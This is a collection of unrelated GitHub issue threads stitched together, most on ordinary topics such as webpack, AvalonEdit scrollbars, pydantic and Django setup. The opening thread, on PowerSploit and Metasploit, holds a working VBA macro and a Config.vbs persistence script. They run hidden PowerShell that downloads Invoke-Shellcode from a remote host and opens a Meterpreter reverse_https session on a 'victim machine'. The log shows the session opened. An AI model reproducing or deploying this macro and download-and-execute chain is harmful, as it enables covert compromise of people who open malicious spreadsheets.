Hello!  /INITM is not a supported URI. These should be using a "checksum" URI that matches the :init_native checksum value. The metasploit components now always use random URIs and we don't support the non-checksummed URIs in master. For example, the current reverse_http* payloads now use generate_uri_uuid_mode() to create the URI ( https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_http.rb#L111 ). You should probably bake something like this into your PS generator: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/payloads/meterpreter/uri_checksum.rb#L66

Noticed this in the PS code:
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
 $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"

The /INITM string was never meant to be used on its own, instead that static value is swapped out for the matching checksum URI. The new Metasploit code stops using those static values as a placeholder and instead uses symbols.
Since there aren't any length restrictions in the PS code, you might want to increase the length of the URL, or add a generator directly to the PS stager instead. Extra points if you implement UUIDs :smile:
You can also specify a prefix:
$ tools/msf_irb_shell.rb
>> >> class A; include Rex::Payloads::Meterpreter::UriChecksum; end; A.new.generate_uri_checksum(92, rand(128)+128, prefix="EpicAuthentication")
=> "EpicAuthenticationU4UdhUmopxxUbhTn-OqvA-5Gc5SWKQwsk9Z0wdnHT-FA_MxTMJUGVejM5QzVfGE-rbPRQatYgWkbFgDMSK1Gom630jP4ICEk3rCL2SQebkZhfBq641t6Emv2_h7VuuyEcrwu_3IPh3IOhzEeecUlPQPvZdm1czcCUZdcKvCBmDnBy1--JM2kqoM3BAlwubal4zH4f6rv2HTNDWv6yHa"

I think I got this working. Pull request: https://github.com/mattifestation/PowerSploit/pull/66
I took a lot of code from Veil's Powershell reverse_http/s stager and implemented it.

I will check this out this weekend. Thanks.
On Friday, April 24, 2015, enigma0x3<EMAIL_ADDRESS>wrote:

I think I got this working. Pull request: #66
https://github.com/mattifestation/PowerSploit/pull/66
I took a lot of code from Veil's Powershell reverse_http/s stager and
implemented it.
—
Reply to this email directly or view it on GitHub
https://github.com/mattifestation/PowerSploit/issues/65#issuecomment-96108865
.

Cool, thanks Chris.

fixed.

FYI, #66 did not solve this issue, the checksum URIs are too short. Seems to be the root cause of https://github.com/rapid7/metasploit-framework/issues/5462

Just tested with a fresh MSF and PowerSploit clone and it worked fine for me. Convo is happening here:
https://github.com/rapid7/metasploit-framework/issues/5462

This appears to be related to https://github.com/rapid7/metasploit-framework/issues/5626. closing issue since this is ntlm proxy issue with meterpreter.

Thanks @enigma0x3 I'm on it now. Getting closer to resolution.

Hi @enigma0x3 - Thanks for Excel VBA Macro tool. It has worked great for me in the past. Just got back to playing with this and it no longer works for me (Powershell throws an error on the victim machine). Is there any way to get this working again on the latest MSF version or do I need to revert to an older version?

Are you executing invoke-shell code from github and if so, can you post the full URL?

Yes, please share the error you're seeing with the class please. :)

Looks like we have a party here :)
I used a fork from GitHub initially but moved to a local SimpleHTTPServer to host the Invoke-Shellcode.
Original Fork: https://github.com/AmmoArnie/PowerSploit/tree/master/CodeExecution/Invoke--Shellcode.ps1
Here is the error in MSF that I am getting [BTW, I'm on Kali 2.0 with MSF 4.11.4].
[*] <IP_ADDRESS>:4786 Unknown request to /INITM with UA Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)...

The /INITM URI has not been used for a long time now. You're clearly using a very old version.

This works for me...can you paste the command you are using to run Invoke-Shellcode? It should never hit /INITM as there is logic to only use that if Legacy is set.

Here is the Execute Function from the Macro embedded in the XLS file:
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://<IP_ADDRESS>:8000/CodeExecution/Invoke-Shellcode.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport 4444 -Force", Null, objConfig, intProcessID
 End Function

Here is the code dumped in the Config.vbs file after execution (i think this is for persistence)
Dim objShell
Set objShell = WScript.CreateObject("WScript.Shell")
command = "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://<IP_ADDRESS>:8000/CodeExecution/Invoke-Shellcode.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport 4444 -Force"
objShell.Run command,0
Set objShell = Nothing

Since its hitting /INITM, I suggest you do a fresh clone of Invoke-Shellcode and host it internally.

Okay, cool. I would just run this, right?
git clone https://github.com/mattifestation/PowerSploit.git
Sorry for the silly questions, I am a total noob with this stuff. I truly appreciate you taking the time to get back to me.

Or you can copy and paste the raw contents of Invoke--Shellcode.ps1 into a .ps1 file on your local system. Run Invoke-Shellcode by loading the module, specify a payload, lport, lhost and add the -force flag.

Awesome. I am in! For some reason, the cloning didn't work. I just copied and pasted in the latest code and voila. Gentlemen, thanks for the help.
[] <IP_ADDRESS>:5929 (UUID: ace9a3614560fc91/x86=1/windows=1/2015-08-13T22:48:21Z) Staging Native payload ...
[] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:5929) at 2015-08-13 15:48:21 -0700

Glad you got it working


When should I restart webpack dev server / recompile?

I need a little clarification. When I edit the webpack.common.js or webpack.dev.js , should I restart:

only the start:hmr task,
only build:dev task
both tasks?

In other words, they both read the config file but when should I restart which one to get my config changes to apply?

I figured it out. Need to restart WDS start:hmr any time a change to config is made, not necessary to build:dev


Svelte support in formatter

Svelte files have <script> parts for which I still have to keep prettier around.

I'm going to close this as "we have a long time to go in order to support this".


Removing SCSS import from components

Description
In order to allow for users to use their own stylesheets (or to just use the sample provided one), we can take off any SASS imports from within the component. This is something the old Webpack setup used to do.
It's reasonable to assume that the consumer's React apps will have a Webpack-like system, and that they will use something like node-sass to handle proper stylesheet loading.

:tada: This PR is included in version 8.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


cufflinks not working on 150bp PE?

Hi,
is cufflinks working for 150 bp PE data?
Best
Chan

Yes we are using it.


Cleanup

Changes seem ok in principle. I can't merge/approve them until they are finshed and passing tests

retest AWS CI (libcoap)


change

@hydroxyzimer   thanks for making your first contribution, I will be merging your Pull Request, also look at the issues so that you can get a chance to win a limited community Swag from me.
If you like the project and Repo please give it a star and Follow me on Github (would be appreciated)

@rishwarii  try this year for Hacktoberfest and have a look at the updated repo and contribute.
HAPPY HACKING


[ThemeAdapter Material] - MaterialTheme.typography not working

Description
Define xml theme:
<style name="Theme.MyApp" parent="Theme.MaterialComponents.DayNight">
    <!-- Material 2 color attributes -->
    <item name="colorPrimary">@color/purple_500</item>
    <item name="colorSecondary">@color/green_200</item>

    <!-- Material 2 type attributes-->
    <item<EMAIL_ADDRESS>    <item<EMAIL_ADDRESS>
    <!-- Material 2 shape attributes-->
    <item<EMAIL_ADDRESS></style>

Body1:
 <style name="TextAppearance.MyApp.Body1" parent="TextAppearance.MaterialComponents.Body1">
        <item name="fontFamily">@font/makeitsans_bold</item>
 </style>

But when using the MdcTheme, the font family is not affected  the text
Text(
                   text = uiModel.email,
                   style = MaterialTheme.typography.body1,
                   maxLines = 1,
                   overflow = TextOverflow.Ellipsis
               )

Thanks for the issue report! Can you confirm that you're using the accompanist-themeadapter-material library?

Thanks for the issue report! Can you confirm that you're using the accompanist-themeadapter-material library?

Yes, I'm using "com.google.accompanist:accompanist-themeadapter-material:0.28.0"
compose version 1.3.2

I haven't been able to reproduce this sorry. Could you possibly please attach a sample project that demonstrates the issue?


Global header footer

Built the global header and footer with the New Jersey component styles. Made updates to the Training Explorer nav.
Main Tasks

Create the data structure for the several navigations in Contentful
Did content entry for those navigations
Updated header
Added the global New Jersey header
Updated the footer
Added the global New Jersey footer

Secondary Tasks

Created a "wrapper" component called <Layout /> to house the same Header and Footer combo for all pages so that it's all in one component, which results in many updated files
Added the fetch requests to for all "global" data to the Layout component

Please fix implementation failing accessibility tests raised by Cypress

Should be fixed now!


click event doesn't fire when blockRendererFn return a decorated component

Do you want to request a feature or report a bug?
bug
What is the current behavior?
when return a decorated component from blockRendererFn. e.g.
if (block.getType() === 'atomic') {
        return {
          component: decorateComponentWithProps(TeXBlock,{}),// decorated component returns to component
          editable: false,
          props: {
            onStartEdit: (blockKey) => {
              var {liveTeXEdits} = this.state;
              this.setState({liveTeXEdits: liveTeXEdits.set(blockKey, true)});
            },
            onFinishEdit: (blockKey) => {
              var {liveTeXEdits} = this.state;
              this.setState({liveTeXEdits: liveTeXEdits.remove(blockKey)});
            },
            onRemove: (blockKey) => this._removeTeX(blockKey),
          },
        };
      }

on the editor, click the decorated component the click event does not fire occasionally.. mostly happened when editor didn't focus
If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem via https://jsfiddle.net or similar.
in current tex example,
change blockrenderFn to
this._blockRenderer = (block) => {
      if (block.getType() === 'atomic') {
        return {
          component: decorateComponentWithProps(TeXBlock,{}),
          editable: false,
          props: {
            onStartEdit: (blockKey) => {
              var {liveTeXEdits} = this.state;
              this.setState({liveTeXEdits: liveTeXEdits.set(blockKey, true)});
            },
            onFinishEdit: (blockKey) => {
              var {liveTeXEdits} = this.state;
              this.setState({liveTeXEdits: liveTeXEdits.remove(blockKey)});
            },
            onRemove: (blockKey) => this._removeTeX(blockKey),
          },
        };
      }
      return null;
    };

the decorateComponentWithProps.js as below
import React, { Component } from 'react';

/* eslint-disable space-before-keywords */
export default (EmbeddedComponent, props) => (class extends Component {
  render() {
    return (
      <div className="test">
        <EmbeddedComponent { ...this.props } { ...props } />
      </div>
    );
  }
});

What is the expected behavior?
the click event should be always fire up in decorated component
Which versions of Draft.js, and which browser / OS are affected by this issue? Did this work in previous versions of Draft.js?
chrome51,  no

hey @mzbac --
From an initial look, it may be that the component is unmounting and remounting each time you click into it, which is what is causing the flash to occur.
One way that could be fixed, is to make sure you are creating a new component once, rather then each time the blockRenderer is called .
Could you confirm that this is the case?

@stopachka  thanks for your reply, it really helps. by removing decorated component out of blockRenderFn solves the problem..


Cherry pick tsconfig vs typedoc config change

See this open PR
https://github.com/mozilla/sphinx-js/pull/159

Thanks I started looking into this #116.


Horizontal scrollbar resizing while scrolling vertically

Currently, when scrolling a document that has varying line lengths, only the currently visible lines are used to determine the horizontal scroll width. Preferably what should happen, and what happens in pretty much all other text viewers, is that the document's largest horizontal width is found and then that value is used regardless of the lengths of the currently visible lines. This is with text-wrap turned off.
Fixing this would prevent the horizontal scroll thumb from constantly moving around and resizing, as well as keeping the vertical thumb from jumping up and down if the horizontal scrollbar happens to appear and disappear during scrolling.
If there is some existing method of preventing this, I couldn't find it in the documentation (which is quite thorough and helpful, btw). I did try putting the editor inside another scrollviewer, which fixed the horiz extent issue, but introduced worse issues for documents that have many lines in them, such as rendering very slowly, etc.

I am running into this issue and wondering if you found a solution or a resolution.
If I can't get the horizontal scrollbar from jumping around due to varying content width, I'll need to use a different component from someone else. I really want to stick with AvalonEdit, though.

The only solution would be to go into the source and rewrite some parts, which I've never delved into. It's baffling that this was marked as "Issue-Enhancement", and then forgotten about, when it's clearly a bug.

:( Did you happen to find a suitable alternative? I've tested Syncfusion's EditControl and they don't implement Word Wrap, so that's out. I'm thinking about trying out AvaloniaUI but haven't gotten around to that. That leaves FastColoredTextBox which really isn't WPF and requires some hacking to get working. I basically just need a textbox with word wrapping and syntax highlighting.
Do you know of anything?

I've honestly never seen this as a problem. In my case, I have to support some big files, so the existing approach might actually be better from a performance standpoint.

Yes, I would argue that this is not a bug at all, but rather by-design, as we calculate the required scrollbar size from the currently visible lines of text.

Being in by design would be alright if it added some worthwhile feature, but, instead, it's actually unhelpful. Take a look at Visual Studio, WordPad, Notepad, MS Word, Notepad++, etc, etc. None of them work this way because you want to preserve the horizontal and vertical scroll position that the user has chosen, regardless of them scrolling to a different section of a document that may have shorter lines.

To add on to what @sonofachuck is saying:

VS Code, Visual Studio, Sublime, all JetBrains products, Notepad++, Eclipse, and any other Code editor that I've ever interacted with all calculate horizontal scroll based on the longest line in the document. This behavior provides important visual feedback when you look at the horizontal scrollbar so you know exactly how much your code as a whole extends in the horizontal direction and you can intuit the overall structure of your document much more easily.

One terrible side effect of your current implementation is that the horizontal scrollbar keeps jumping around erratically as you scroll the document vertically. This is especially noticeable if the TextEditor is smaller and the file you're editing has a mixture of very long lines and very short lines.

I come from a design/UX background (I make my primary living from interface design and UI/UX), and consistency is extremely important when it comes to UI implementation. The current scrolling behavior is just for lack of a better word... weird. It doesn't at all make sense if you're editing normal code. People will not expect this behavior, period. And that is full-stop "bad".
(I want to know how wide my document is! And where the offending lines exist).

Your current implementation may have performance benefits and make sense for editors that have a feature to read "very large files", but is not suitable at all as a default behavior and breaks best practices. I would propose your current implementation would be a nice option as a toggle-able feature (Large file support) because you're only processing a limited amount of data at a time and you can probably handle files that would choke a normal text editor. However, as a default behavior, it makes absolutely no sense at all and flies in the face of established and time-tested patterns.

Yes, I would argue that this is not a bug at all, but rather by-design, as we calculate the required scrollbar size from the currently visible lines of text.

Yes, we know how you calculate required scrollbar size. We know it's "by design". This doesn't mean it isn't a poor design choice.
I don't have a lot of hope at this point, but I would propose you sideline the current behavior as toggleable ("Large File Support"), and implement a new default that just measures horizontal scroll distance by the longest line in the document... like literally every other code/text editor in existence.
Nobody wants to see their horizontal scrollbar dancing around at the bottom of the window erratically as it provides no reliable insight into the full structure of your document and essentially reduces usability.
Ultimately, if you want to die on your "It's not a bug, it's a feature!" hill, nobody can stop you. But I believe AvalonEdit can be one of the best (if not the best) C# WPF code editing solutions/components in existence. This critique comes from a place of love, believe it or not. It's lightweight, fast, and handles everything else reliably. It's really easy to implement custom syntax highlighting, it's highly configurable, and it just works.
For now, I'm just going to enable word-wrap by default in my projects that use AvalonEdit so I don't have to deal with the wonky horizontal scrolling. I'm not developing a full-fledged text editor but just need a small component to show some syntax highlighted code. But if I was doing anything more advanced, I would be very frustrated.
I may fork this project as a whole and see if I can't implement what I need on my own if you and your team are committed to retaining this weird default behavior.
Sorry if this comes off as harsh. I have a lot of appreciation for what your team has created. AvalonEdit is great. Let's make it more great! (Please!)
Jay

I think you're underestimating just how crappy WPF text layout performance is.
This isn't just about huge (~100MB) files; even medium-sized files (~1MB) would see noticeable slowdown from doing text layout over the whole document.
What we could do (but it's a non-trivial effort) is to treat the horizontal scrollbar the same way as we do the vertical scrollbar. The vertical scrollbar has a similar problem: we don't know how tall a line is until we've layouted it (esp. if word wrap is enabled), but we start with a guess and then refine that guess when the line is rendered. And we keep the improved guess around, so that the vertical scrollbar feels stable except when a particularly long wrapped line is scrolled into the viewport for the first time.
So I think the proper solution is:

additionally store the line width in the HeightTree
augment the tree to track the maximum line width
similar to the line height, start with a rough guess (e.g. line.Length * WideSpaceWidth)
after rendering a line, update the line width along with the line height

I think you're underestimating just how crappy WPF text layout performance is. This isn't just about huge (~100MB) files; even medium-sized files (~1MB) would see noticeable slowdown from doing text layout over the whole document.

You're right. I don't know much about the internals of the component and I should probably look through the code more. I didn't know that text layout in WPF suffers from these kind of bottlenecks. I keep hearing from other developers that WPF is the way forward, and so I guess I incorrectly assumed that implementing what I outlined above wouldn't be limited by WPF itself.

What we could do (but it's a non-trivial effort) is to treat the horizontal scrollbar the same way as we do the vertical scrollbar. The vertical scrollbar has a similar problem: we don't know how tall a line is until we've layouted it (esp. if word wrap is enabled), but we start with a guess and then refine that guess when the line is rendered. And we keep the improved guess around, so that the vertical scrollbar feels stable except when a particularly long wrapped line is scrolled into the viewport for the first time.

That sounds like a great step forward to me. I have word wrap enabled on one of my projects right now and it doesn't feel unstable, even with long wrapped lines.

So I think the proper solution is:
additionally store the line width in the HeightTree
augment the tree to track the maximum line width
similar to the line height, start with a rough guess (e.g. line.Length * WideSpaceWidth)
after rendering a line, update the line width along with the line height

I would be ecstatic if you could implement the above solution. I understand it's non-trivial and I appreciate all the work put into the project, but I think it would really improve the component greatly.
I really appreciate you being receptive to looking at changing this behavior.

I am also facing this issue. But I am having more problems with Vertical Scrollbar.  Scrollbar resizing behaviour will become more prominent when WordWrap is set to true. Because when long wrapped line is first time scrolled into the viewport, then whole Height Tree is readjusted and according to that Vertical scrollbar is also resizing. As the scroll progress the Vertical Scrollbar becomes more smaller.
Another problem with this behaviour is textEditor.ScrollToLine(int lineNumber) is also not working consistently and some times it misses the line and brings some another part of the editor and into the view. So I wrote some helper methods to scroll to some line consistently

code
        private async void ForceScrollToLine(TextEditor textEditor, int line)
        {
            textEditor.ScrollToLine(line);

            await Task.Delay(1);

            TextViewPosition? start = textEditor.TextArea.TextView.GetPosition(new Point(0, 0) + textEditor.TextArea.TextView.ScrollOffset);
            TextViewPosition? end = textEditor.TextArea.TextView.GetPosition(new Point(textEditor.TextArea.TextView.ActualWidth, textEditor.TextArea.TextView.ActualHeight) + textEditor.TextArea.TextView.ScrollOffset);

            int startOffset = start != null ? textEditor.Document.GetOffset(start.Value.Location) : textEditor.Document.TextLength;
            int endOffset = end != null ? textEditor.Document.GetOffset(end.Value.Location) : textEditor.Document.TextLength;

            if ((textEditor.TextArea.Caret.Offset < startOffset) || (textEditor.TextArea.Caret.Offset > endOffset))
            {
                await ForceScrollToLine(textEditor, line);
            }
        }

I also want to draw Highlighting Annotations on Vertical Scrollbar. If Vertical Scrollbar / Height Tree details are not stable, then one cannot draw Highlighting Annotations on Vertical Scrollbar because as the scroll progress and Height Tree gets recalculated, one would also have to update the locations of this Annotations and this will look like Annotations are moving on scrollbar. This does not seem to be the right behaviour. I have already mentioned my requirement here.

Did you find some alternate ways to achieve this ? or some modifications in
part of AvalonEdit which is rendering the text ?
On Wed, Jul 5, 2023 at 6:46 PM sonofachuck @.***> wrote:

Because the author doesn't think this behavior is broken, the best fix for
this is to find another editor package.
—
Reply to this email directly, view it on GitHub
https://github.com/icsharpcode/AvalonEdit/issues/282#issuecomment-1621737681,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AOONE44F27ZXTVYMZRMUSJTXOVSJ5ANCNFSM44XV724A
.
You are receiving this because you commented.Message ID:
@.***>

Thanks for your reply...
Ofcourse AvalonEdit is great.
Apart from that I already tried both Actipro SyntaxEditor and AlterNet Code
Editor. Both are doing well but lack some of the features I want.
I also tried Telerik, Infragistics, and Syncfusion syntax editors that you
have already mentioned. The plus point for Syncfusion syntax-editor
http://syncfusion.com/wpf-controls/syntax-editor [WPF part is still under
development, whereas WinForms
https://www.syncfusion.com/winforms-ui-controls/syntax-editor part is
much more mature.] is that you can get a free license for individual
developers or for small businesses. So if all my required features are
available in the next versions of this editor then it will probably suffice
my requirements because I need this for a small scale NGO / Educational
purpose.
It seems that you and I have almost gone through the same complications 🙂.
I also tried Codemirror https://codemirror.net/ and MonacoEditor
https://github.com/microsoft/monaco-editor. Both are extremely well,
feature rich and performant, still I have to file some issue
https://github.com/microsoft/monaco-editor/issues/3481 for some of
my requirements. The problem here is that loading these javascript editors
in WPF requires loading WebView2
https://learn.microsoft.com/en-us/microsoft-edge/webview2/get-started/wpf
in the app and because of that memory requirement of the app becomes almost
two or three times as compared to before.
It has always struck me as odd that Microsoft never made a decent version

of a text editor control for its own platform.

Yes, I was also wondering that Visual Studio is already written in WPF and
why Microsoft has never released Visual Studio Editor for developers. So I
tried decompiling Visual Studio APIs with two or three different tools.
Finally I got all Visual Studio Editor related libraries but the code was
broken at many places and It was almost impossible to repair it and build a
usable editor.
Finally I found vs-editor-api https://github.com/microsoft/vs-editor-api
that Microsoft has already published. But still the WPF layer
https://github.com/microsoft/vs-editor-api/issues/49 of this API is not
available yet. If at some point Microsoft releases this API then I think it
would be one of the best code editors.
If you find any easy way to integrate vs-editor-api
https://github.com/microsoft/vs-editor-api in WPF app then let me know.
At present this task seems very complicated
https://learn.microsoft.com/en-us/answers/questions/1318966/is-it-possible-to-host-visual-studio-editor-in-c-w
without the availability of WPF layer of this API.
Thanks and regards
Sagar Kardani


Inconsistent behavior of Field(include=<...>) between v1 and v2

The following code has different behavior in v1 and v2:
from pydantic import BaseModel, Field

class Inner(BaseModel):
    x: int

class Outer(BaseModel):
    inner: Inner = Field(include={})

print(Outer(inner=Inner(x=1)).model_dump_json())
#> v1: {"inner": {}}
#> v2: {"inner":{"x":1}}

I haven't checked, but I'm assuming the exclude keyword argument to Field is also affected. As far as I can tell, this seems to be the primary purpose of the include/exclude arguments (now that Config.fields is gone), so it may be worth removing them if we don't plan to fix this.

This relates also the this other bug #6736
And I can confirm that exclude is also affected as it can be seeing in the other issue.
This not only affects the model_dump_json but also model_json_schema
I think this needs to be fixed and not removed from the library, since pretty much all the types I have work with pydantic I had to exclude some attributes out (either from the public schema or from the output dict).
Also notice that if the field is mark as private (e.x _inner) in order to exclude it, with callable attribute it adds self as first argument, which makes the function fail since the first expected argument would be always self

This is no longer relevant, as we deprecated the include param to the Field() constructor. See #6852


Push the requestID through the whole stack

The requestID is part of the context in the http layer.
In the past, it was pushed further through the stack and was also arriving in the grpc context.
As a consequence, all log lines in ocis were printing out the requestID.
This behavior has changed lately.
@butonic @kobergj

Good starting point:

Start to find out why the ocdav service is not passing the trace / request down to the storage provider

IMO we should log the requestID in the proxy only. tying logs together should be done by always enableing tracing so the traceid is not a zeroes by default. we could use a noop trace logger, but tracing itself should always be enabled to be able to aggregate logs.
obviously, tpassing the trace needs to work and might be affected by the same underlying bug of a context being disconnected


EPIC: Define a color palette that works with the future plans

The color language of our product needs to be updated for a better user experience and to improve the visual language and reflect better the brand.

Define the accent color, mainly used for active state https://zube.io/rancher/dashboard-ui/c/9462
Define the primary color for CTA https://zube.io/rancher/dashboard-ui/c/9463
Define the color for secondary buttons https://zube.io/rancher/dashboard-ui/c/9464
Define Semantic colors https://zube.io/rancher/dashboard-ui/c/9383
Define Grays https://zube.io/rancher/dashboard-ui/c/9461

After @manuelecarlini reviewed it, we decided to test the current palette as a theme in a side branch. We will reuse some colours and see how everything works in order to make the necessary adjustments.
@scures I'll need to work with you on this, I only need a branch with a test theme, I can change the colour variables myself.

The current state of the art is tracked in the following document
https://xd.adobe.com/view/d111e7be-4ca1-4721-befa-c40fa8e84eac-8442/


Single-argument and infer name support for CPMFindPackage

Currently, CPMFindPackage("gh:gsl-lite/gsl-lite#master") and
CPMFindPackage(
    GITHUB_REPOSITORY gsl-lite/gsl-lite
    GIT_TAG master
    GIT_SHALLOW True)

both fail with
/home/johel/tmp/build-jge/_deps/cpm-src/cmake/CPM.cmake:204: error: cpm_check_if_package_already_added Function invoked with incorrect arguments for function named: cpm_check_if_package_already_added tools/cmake/JGEFindDependencies.cmake:55 (CPMFindPackage) CMakeLists.txt:11 (include)

Is it possible to extend this support to CPMFindPackage? Otherwise, I think this difference should be documented.

Yes, CPMFindPackage doesn't support the shorthand syntax (yet?). The discussion about this is in #208


Fixed #24305 -- Added the ability to shadow abstract fields.

Allowed to override abstract or virtual fields inherited from base
models. Abstract fields can only be overridden if they don't exist
on any concrete base model. Overriding with None removes the field.
Passing locked=True to the field disallows overriding that field.
https://code.djangoproject.com/ticket/24305

Loic indicated this approach isn't ideal and said he may offer his own idea when he was some time.


Issue with Unicode characters not displaying properly in Fleeting Notes

Summary: Customers are experiencing difficulties with the display of Unicode characters, particularly Vietnamese characters, in Fleeting Notes.
Background/Reason: Several customers have reported that when they input Unicode characters, such as Vietnamese characters, in Fleeting Notes, the characters do not display correctly. This issue is causing inconvenience and hindering effective communication for users who rely on Unicode characters for their notes.

Summarized feedback from<EMAIL_ADDRESS>:

Unicode characters, such as Vietnamese characters, do not display properly in Fleeting Notes.


FFConf November, 6th 2015, Brighton

Tickets are on sale tomorrow (Wednesday 15 July) at 11am.  They sell out in minutes, so make sure you grab one.

Ah damn, I'm in Tenerife then.


Unify HTTP Client to be httpx

As mentioned in this conversation, requests module should be switched to unify httpx module as the HTTP Client for all Supabase Python libs.
@leynier Could you do this?

As mentioned in this conversation, requests module should be switched to unify httpx module as the HTTP Client for all Supabase Python libs. @leynier Could you do this?

Ok, I will do it 👍🏼


Port over getHTML

getHTML is a common command to get the current DOM structure of a certain element. Let's port this command over and instead of using selectorExecute (which won't be ported) pass in the element id into the execute command.

Codecov Report

Merging #70 into master will decrease coverage by 0.07%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #70      +/-   ##
==========================================
- Coverage   89.96%   89.89%   -0.08%
==========================================
  Files          69       68       -1
  Lines        1285     1276       -9
  Branches      292      290       -2
==========================================
- Hits         1156     1147       -9
  Misses        106      106
  Partials       23       23

Impacted Files
Coverage Δ

...ckages/webdriverio/src/commands/element/getHTML.js
100% <100%> (ø)

packages/webdriverio/src/scripts/isFocused.js

...s/webdriverio/src/scripts/isDisplayedInViewport.js

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ac287f0...5f47752. Read the comment docs.


Exposes approximate_float for unsigned ratios

Hey there. Cool crate!
Any reason approximate_float_unsigned isn't exposed in the lib interface ? It makes it impossible to approximate into unsigned ratios. Here's a small patch that fixes that. Hope it helps!

For primitive floats you can use FromPrimitive::from_f32 or from_f64, but for generic FloatCore we do need something else. I guess this was just an oversight, and nobody had asked for it yet. Thanks!
bors r+

bors r+


How to find CORE, MMLU, EXTENDED values in the eval json?

Hi, thanks a lot for this work!
I trained a small LM on my data and run evaluation with json output. How can I find numbers corresponding to the CORE, MMLU, EXTENDED values in the table?

Hi!
Core is actually just  "low_variance_centered"
Extended is ""aggregated_centered_results"
The task list can be found here: https://github.com/mlfoundations/dclm/blob/main/eval/additional_aggregation.json
"low_variance" is "core"

if you post your json I can help you find it, so sorry about the confusing naming!


manim file not running

We have written the needed data into your clipboard because it was too large to send. Please paste.

We have written the needed data into your clipboard because it was too large to send. Please paste.

Hey, looks like you didn't include a good description. If you expect help consider rephrasing your question.


Compiler messages cleanup

Overview
Cleaned up compiler warning messages.
Changes

Fixes: #1334
Also fixes hidden field in Spline.cs
Fixes: #1333 (@DaveSullivanAtWork please review this)

@Railboy could you take a look at these changes please?

Tests pass for 2017.2.0p1 MRTP4
I have one suggestion for the change to overlappingPointIndexes variable. I would keep it scoped to the DrawCustomFooter method, and remove the class-scoped static field instead.

@LanceMcCarthy, I kept the overlappingPointIndexes in the class scope to reduce allocations.
Although now that I'm looking at this a bit closer, we should probably be clearing this on each draw.


update postgres initialization for compose/django.md

Proposed changes
Updated postgres initialization for compose/django.md

Fixed issue #10532
Added environment arguments to db in docker-compose.yml
Added password argument in django project's settings.py

Related issues
Issue #10532 django quickstart fail "Database is uninitialized and superuser password is not specified."

Thank you for the update, @snoop2head.
@ulyssessouza Could you PTAL?

Thank you @ulyssessouza.
@snoop2head Could you address the feedback from Ulysses? Thanks.

@ulyssessouza @usha-mandya
Thank you for the feedback!

Omitting comments with file names & "add lines"
Deleting uncompleted postgres port exposure code block

After reflecting changes from feedbacks, I ran the django tutorial from the beginning.
Django server is working fine, with the following console log:
db_1   | PostgreSQL Database directory appears to contain a database; Skipping initialization
db_1   |
db_1   | 2020-04-15 17:06:40.956 UTC [1] LOG:  starting PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
db_1   | 2020-04-15 17:06:40.957 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
db_1   | 2020-04-15 17:06:40.957 UTC [1] LOG:  listening on IPv6 address "::", port 5432
db_1   | 2020-04-15 17:06:40.959 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
db_1   | 2020-04-15 17:06:40.972 UTC [26] LOG:  database system was shut down at 2020-04-15 17:06:38 UTC
db_1   | 2020-04-15 17:06:40.976 UTC [1] LOG:  database system is ready to accept connections
web_1  | Watching for file changes with StatReloader
web_1  | Performing system checks...
web_1  |
web_1  | System check identified no issues (0 silenced).
web_1  |
web_1  | You have 17 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
web_1  | Run 'python manage.py migrate' to apply them.
web_1  | April 15, 2020 - 17:06:41
web_1  | Django version 2.2.12, using settings 'composeexample.settings'
web_1  | Starting development server at http://<IP_ADDRESS>:8000/
web_1  | Quit the server with CONTROL-C.


This is perfect, is there a vertical version by any chance?

I'm also searching for a vertical version. Any luck so far?

Didn't find anything  yet unfortunately

I'm also searching for a vertical version. Any results so far?

Unfortunately I didn't find anything yet


feat: azy quantifiers

Summary
This PR implements "lazy" (== "non-greedy") variants of base quantifiers (??, *?, +?) and repeat ({...}?).
This PR  currently uses following syntax:
optional([...], "lazy");
zeroOrMore([...], "lazy");
oneOrMore([...], "lazy");
repeat([...], 3, "lazy");
repeat([...], { min: 1, max: 5 }, "lazy");

There are also alternative syntaxes available:

"lazy" as prefix:

lazyOptional([...]);
lazyZeroOrMore([...]);
lazyOneOrMore([...]);
lazyRepeat([...], 3);
lazyRepeat([...], { min: 1, max: 5 });

"lazy" as suffix:

optionalLazy([...]);
zeroOrMoreLazy([...]);
oneOrMoreLazy([...]);
repeatLazy([...], 3);
repeatLazy([...], { min: 1, max: 5 });

"lazy"  as named option

optional([...], { behavior: "lazy" });
zeroOrMore([...], { behavior: "lazy" });
oneOrMore([...], { behavior: "lazy" });
repeat([...], { count: 3, behavior: "lazy" });
repeat([...], { min: 1, max: 5, behavior: "lazy" });

Test plan
Added relevant unit tests.

Codecov Report
